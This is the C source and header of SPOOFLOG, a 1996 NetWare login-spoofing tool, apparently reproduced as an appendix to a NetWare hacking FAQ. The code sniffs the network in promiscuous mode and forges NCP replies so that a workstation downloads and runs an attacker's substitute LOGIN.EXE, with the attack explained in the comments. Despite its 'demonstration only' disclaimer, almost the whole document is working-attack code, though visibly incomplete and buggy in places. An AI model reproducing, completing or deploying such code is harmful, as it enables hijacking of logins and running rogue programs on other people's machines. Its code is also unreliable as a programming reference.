|
A-06. Source code to SPOOFLOG
This includes spooflog.c and spooflog.h, with Greg's comments in the code.
/* This file is Copyright 1996 by Greg Miller */ /* Any modifications to this file should be sent to gmiller@dey-systems.com, gmiller@grendel.ius.indiana.edu, gregmi@mis.net, as well as posted to comp.os.netware.security. */ /* Note: This code isn't pretty. I've sacraficed just about every programming convention for the speed of coding. */ /* I assume there is a Packet Driver installed on INT 0x60. No checking is done. */ /* Login spoofing utility for all versions of NetWare */ /* This program is only a template, not a compete program */ /* This program will send a specified file as the LOGIN.EXE file to a specified workstation. The file can be any file of the same length of LOGIN.EXE or shorter, and can be sent to any workstation the attacking station is capable of sniffing packets for. This program uses the promiscuous mode of the adapter card, so a fast computer is needed (the more traffic the network has on it, the faster the attacking machine has to be. */ /* A General Explanation of the Attack This attack takes advantage of a zero knowledge state between the client and server. Neither the client nor the server has the capability of authenticating itself to the other before the user is logged in. This allows any station on the network to immitate either the client or the server (however, immitating the server is the only useful attack). Once the LOGIN.EXE file is downloaded, the client can authenticate itself to the server (through the use of the password), however, the server still has no mechanism for authenticating itself to the client. This allows for some "man in the middle" attacks against the login sequence. Readers interested in the "man in the middle" attacks against the login sequence should see the "NetWare Hack FAQ" by Simple Nomad (version 4 or above). */ /* NOTE: THIS PROGRAM IS FOR DEMONSTRATION PURPOSES ONLY. ANY MISUSE OF THIS PROGRAM TO BREAK INTO ANY SYSTEM IS A VIOLATION OF FEDERAL LAW. */ #includespooflog.h:<
stdio.h>
#include<
string.h>
#include<
fcntl.h>
#include "spooflog.h" /*All variables are global to speed up processing time*/ int DataRemaining = TRUE; BYTE packet[2000]; BYTE SendPacket[2000]; int ServerCurrentSequenceNumber; int ClientCurrentSequenceNumber; WORD handle; int packet_received = FALSE; BYTE SpoofStation[6] = {0xff,0xff,0xff,0xff,0xff,0xff}; BYTE OpenLoginRequest[] = {76,1,0x4e,0x11,16,'/','L','O','G','I','N', '/','L','O','G','I','N','.','E','X','E'}; BYTE OpenLoginReply[] = {0}; int c; WORD pktlen; WORD Sendpktlen; FILE *IN; void Initialize(){ /* This procedure will ensure that the address and file specified on the command line are valid. If not, a useage string is displayed. This function also opens the file for reading, and reads in some of the file into a buffer to ensure that this attacking station beats the server to the response when the read is submitted by the workstation. */ IN = fopen("spoof.dat","r"); } static void far PacketReceived(){ /*This function is called by the packet driver when a packet is received. If AX=0 when the function is called, the packet driver is asking for a buffer to put the packet in. If AX=1 then the packet has been copied into the buffer. */ _asm{ pop di //Borland C 3.1 pushes DI for some reason. //Remove this line if you compiler doesn't. cmp ax,1 //ax=0 for get buffer or 1 when done jz copy_done mov ax,seg packet mov ES,ax lea DI,packet mov cx,2000 //buffer length retf } copy_done: packet_received = TRUE; pktlen=_CX; _asm{retf} end: } void RegisterWithPKTDRV(){ /*This function registers the "protocol stack" with the packet driver. We give it the address of the function to call when a packet is received in ES:DI, the interface class in AL, and the interface type in BX. DS:SI should point to the type of packets to receive, with the length of the type in CX, however, we'll just receive any type of packet so we leave DS:SI alone and make CX=0. We get a handle back from the INT 60h call in AX, we'll store it for later use. */ _asm { pusha mov bx,0ffffh //interface type for 3com 509 mov dl,0 mov cx,0 //receive any type of packet mov ax, seg PacketReceived mov es,ax lea di, PacketReceived mov ah,02 mov al,01 //class type for 3com 509 int 60h jc err mov handle,ax popa } printf("Registered with packet driver\r\n"); return; err: printf("Error registering stack: %d\r\n",_DH); _asm{popa} } void RelinquishProtocolStack(){ /* Relinqush control of the interface */ _asm{ pusha mov ah,5 mov bx,handle int 60h jc err popa } printf("Stack Relinqushed\r\n"); return; err: printf("Error releasing Stack: %d",_DH); } void EnterPromiscuousMode(){ /*This function puts the board in promiscuous mode by putting the receive mode in CX and the handle in BX. Mode 6 is promiscuous. */ _asm{ pusha mov ah,14h mov bx,handle mov cx,6 int 60h jc err popa } printf("Promiscuous mode set\r\n"); return; err: printf("Error entering promiscuous mode: %d\r\n",_DH); _asm{popa} } void printhex(BYTE d){ BYTE temp; _asm{ mov al,d shr al,1 shr al,1 shr al,1 shr al,1 and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c",temp); _asm{ mov al,d and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c ",temp); } void SendPack(){ _asm{ pusha mov ax,seg SendPacket mov ds,ax lea si,SendPacket mov cx,Sendpktlen mov ah,04 int 60h jc err popa } for(c=0;c<
pktlen;c++){printhex(packet[c]);} printf("\r\n"); return; err: printf("Error sending packet: %d\r\n",_DH); _asm{popa} } void SendOpenReply(){ memcpy(SendPacket,(char*)packet[6],6); //Copy 802.3 dest addr memcpy((char*)SendPacket[6],packet,6); //Copy 802.3 src addr //Put 802.3 length here. SendPacket[12]=255; SendPacket[13]=255; memcpy((char*)SendPacket[20],(char*)packet[32],12); //Copy dest addr,net,sock memcpy((char*)SendPacket[32],(char*)packet[20],12); //Copy src addr,net,sock SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum SendPacket[19]=17; //Packet type = NCP SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type memcpy((char*)SendPacket[46],(char*)packet[46],4); //Seq num,con num,task,con num hi SendPacket[50]=0; //Completion code SendPacket[51]=0; //Connection Status //File name //File Attrib //File exe type //File len //Create date //Last Access date //Last update date //Last update time printf("Spoofing Open Reply\r\n"); SendPack(); } void SendReadResponse(){ memcpy(SendPacket,(char*)packet[6],6); //Copy 802.3 dest addr memcpy((char*)SendPacket[6],packet,6); //Copy 802.3 src addr memcpy((char*)SendPacket[20],(char*)packet[32],12); //Copy dest addr,net,sock memcpy((char*)SendPacket[32],(char*)packet[20],12); //Copy src addr,net,sock SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum SendPacket[19]=17; //Packet type = NCP SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type memcpy((char*)SendPacket[46],(char*)packet[46],4); //Seq num,con num,task,con num hi SendPacket[50]=0; //Completion code SendPacket[51]=0; //Connection Status Sendpktlen=fread((void*)SendPacket[54],1,(packet[58]*255)+packet[59],IN); SendPacket[12]=(Sendpktlen+53)/255; SendPacket[13]=(Sendpktlen+53)%255; SendPacket[52]=Sendpktlen/255; SendPacket[53]=Sendpktlen%255; //IPX length if(SendPacket[0]==0){//Send Read Failure } SendPacket[12]=0; //802.3 length hi SendPacket[13]=0; //802.3 length lo printf("Spoofing Read Reply\r\n"); SendPack(); } void WaitForPacket(){ while(!packet_received){} printf("Packet Received\r\n"); for(c=0;c<
pktlen;c++){printhex(packet[c]);} printf("\r\n"); packet_received=FALSE; } int PacketIsStationsReadRequest(){ if(memcmp(packet,SpoofStation,6) && (packet[19]==17) && (packet[50]==72)){ return TRUE; } return FALSE; } void WaitForStationRequestForLoginEXE(){ /* This function will monitor the network for the station to request an open of the SYS:\LOGIN\LOGIN.EXE. The procedure will monitor the station's sequence numbers also. */ int NotFoundOpenRequest = TRUE; while(NotFoundOpenRequest){ WaitForPacket(); if(memcmp((char*)packet[6],OpenLoginRequest,21)) NotFoundOpenRequest=FALSE; } SendOpenReply(); } void SendStationAlternateFile(){ /* This function will intercept the server's reply to the station's request to open LOGIN.EXE and return a modified open reply giving the modified file's length to the workstation. The function will then monitor for further read request on LOGIN.EXE and intercept those as well, returning the alternate LOGIN.EXE program which the workstation will then execute. */ SendOpenReply(); while(DataRemaining){ /* This loop will continuously wait for read requests and send responses until the file buffer is exhausted. When the station sends a read request after the file buffer is exhausted, a read failed response is sent. */ WaitForPacket(); if(PacketIsStationsReadRequest()){ SendReadResponse(); } } } void ResynchSequenceNumbers(){ /* Actually, I believe the sequence numbers will stay synchronized without any further effort. If so, this funciton isn't needed. What I expect to happen, is that the server will still ACK the requests sent by the workstation, thus still incrementing the sequence numbers for each request sent by the workstation. Since the sequence numbers are only incremented by one each time, we can accurately predict the numbers the server would have used. When the transfer is over, the server will have transmitted the same number of packets the client requested, so the sequence numbers should still be synchronized. */ } void main(){ Initialize(); RegisterWithPKTDRV(); EnterPromiscuousMode(); WaitForStationRequestForLoginEXE(); SendStationAlternateFile(); ResynchSequenceNumbers(); RelinquishProtocolStack(); /*Toggles prom mode off*/ }
#define TRUE -1 #define FALSE 0 typedef unsigned char BYTE; typedef unsigned int WORD; typedef unsigned long DWORD; struct packet_SPX { WORD Checksum; WORD Length; BYTE TransportControl; BYTE PacketType; BYTE DestinationNetwork[4]; BYTE DestinationNode[6]; WORD DestinationSocket; BYTE SourceNetwork[4]; BYTE SourceNode[6]; WORD SourceSocket; BYTE ConnectionControl; BYTE DatastreamType; WORD SourceConnectionID; WORD DestinationConntectionID; WORD SequenceNumber; WORD AckNumber; WORD AllocationNumber; BYTE Data[534]; }; struct packet_IPX { WORD Checksum; WORD Length; BYTE TransportControl; BYTE PacketType; BYTE DestinationNetwork[4]; BYTE DestinationNode[6]; WORD DestinationSocket; BYTE SourceNetwork[4]; BYTE SourceNode[6]; WORD SourceSocket; struct packet_SPX Data; }; struct frame_802_3 { BYTE preamble[7]; BYTE StartFrameDelimeter[1]; BYTE DestinationAddr[6]; BYTE SourceAddr[6]; WORD Length; struct packet_IPX Data; //contains pad and frame CRC check }; struct NCP_reply{ /*802.3 Header*/ BYTE DestinationAddr[6]; BYTE SourceAddr[6]; WORD Length_802; /*IPX Header*/ WORD Checksum; WORD Length_IPX; BYTE TransportControl; BYTE PacketType; BYTE DestinationNetwork[4]; BYTE DestinationNode[6]; WORD DestinationSocket; BYTE SourceNetwork[4]; BYTE SourceNode[6]; WORD SourceSocket; WORD ReplyType; BYTE SequenceNumber; BYTE ConnectionNumberLow; BYTE TaskNumber; BYTE ConnectionNumberHi; BYTE CompletionCode; BYTE ConnectionStatus; BYTE Data[1500]; }; struct NCP_request{ /*802.3 Header*/ BYTE DestinationAddr[6]; BYTE SourceAddr[6]; WORD Length_802; /*IPX Header*/ WORD Checksum; WORD Length_IPX; BYTE TransportControl; BYTE PacketType; BYTE DestinationNetwork[4]; BYTE DestinationNode[6]; WORD DestinationSocket; BYTE SourceNetwork[4]; BYTE SourceNode[6]; WORD SourceSocket; /*NCP Header*/ WORD RequestType; BYTE SequenceNumber; BYTE ConnectionNumberLow; BYTE TaskNumber; BYTE ConnectionNumberHi; BYTE Data[1500]; }; void Initialize(); void RegisterWithPKTDRV(); void EnterPromiscuousMode(); void WaitForStationRequestForLoginEXE(); void SendStationAlternateFile(); void ResynchSequenceNumbers(); void SendOpenReply(); void SendReadResponse(); void WaitForPacket(); int PacketIsStationsReadRequest(); void WaitForPacket();